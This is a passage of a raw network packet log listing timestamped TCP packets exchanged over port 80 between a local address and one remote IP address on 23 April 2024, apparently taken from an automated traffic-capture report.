Apr 23, 2024 09:38:22.745110035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745146036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745153904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745182991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745188951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745218992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745222092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745256901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745261908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745296001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745302916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745335102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745372057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745379925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745413065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745419979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745451927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745459080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745490074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745501995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745527029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745533943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745563984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745563984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745601892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745614052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745640993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745644093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745677948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745682955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745713949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745718002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745750904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745757103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745788097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745794058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745825052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745836020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745862961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745868921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745899916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745903015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745937109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.745942116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.745974064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746009111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746015072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.746046066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746049881 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.746083021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.746083021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746121883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746126890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.746159077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746169090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.746195078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746201992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.746234894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.746237993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.746279955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787257910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787394047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787431955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787467957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787471056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787504911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787520885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787542105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787550926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787579060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787587881 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787615061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787622929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787651062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787658930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787687063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787693977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787723064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787731886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787763119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787767887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787800074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.787807941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.787837029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.788603067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.788652897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.788659096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.788697004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.788703918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.788781881 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.788789034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.788819075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.788827896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.788862944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.788892984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.788930893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.788938999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.788975000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.791186094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.791224003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.791285038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.794579983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.794657946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796634912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796673059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796691895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796709061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796715021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796746016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796749115 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796782017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796786070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796819925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796823025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796855927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796863079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796894073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796900034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796931982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796941996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.796967983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.796969891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797004938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797029018 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797040939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797056913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797102928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797142982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797255039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797291994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797297955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797328949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797339916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797365904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797370911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797401905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797411919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797437906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797446012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797473907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797509909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797521114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797544956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797548056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797581911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797590971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797617912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797624111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797655106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797657013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797691107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797698021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797727108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797734022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797763109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797768116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797801018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797806025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797837973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797873020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797888994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797910929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797918081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797947884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797952890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.797985077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.797995090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798021078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798023939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798058033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798063993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798093081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798095942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798129082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798134089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798166037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798170090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798202038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798207998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798238993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798244953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798276901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798276901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798311949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798321009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798348904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798352957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798384905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798389912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798423052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798425913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798460007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798460960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798496008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798501968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798532963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798567057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798574924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798603058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798609972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798639059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798645020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798676014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798680067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798712015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798717022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798791885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798796892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798827887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798834085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798865080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798901081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.798907042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.798945904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942282915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942323923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942337990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942361116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942362070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942400932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942424059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942437887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942445040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942476034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942481995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942517042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942550898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942553043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942573071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.942590952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.942637920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.945188046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.945226908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.945235968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.945271969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947197914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947236061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947252989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947273016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947278023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947315931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947321892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947356939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947362900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947393894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947397947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947432041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947434902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947468996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947477102 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947510958 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947516918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947551012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947555065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947603941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947612047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947643042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947645903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947679996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947685003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947716951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947721004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947753906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947757959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947792053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947798014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947829008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947839975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947866917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947869062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947906017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.947906971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947945118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947983027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.947993994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948019981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948043108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948062897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948067904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948112965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948121071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948162079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948163986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948199987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948203087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948237896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948275089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948283911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948311090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948329926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948349953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948355913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948386908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948395014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948426008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948431969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948463917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948471069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948502064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948506117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948539019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948542118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948575974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948613882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948622942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948649883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948656082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948688984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948693037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948725939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948730946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948765039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948765993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948801994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948803902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948838949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948844910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948875904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948879957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948914051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948916912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948951006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948959112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.948990107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.948995113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949028015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949032068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949064970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949100018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949106932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949136972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949146032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949172974 CEST	80	49733	185.172.128.76	192.168.2.4
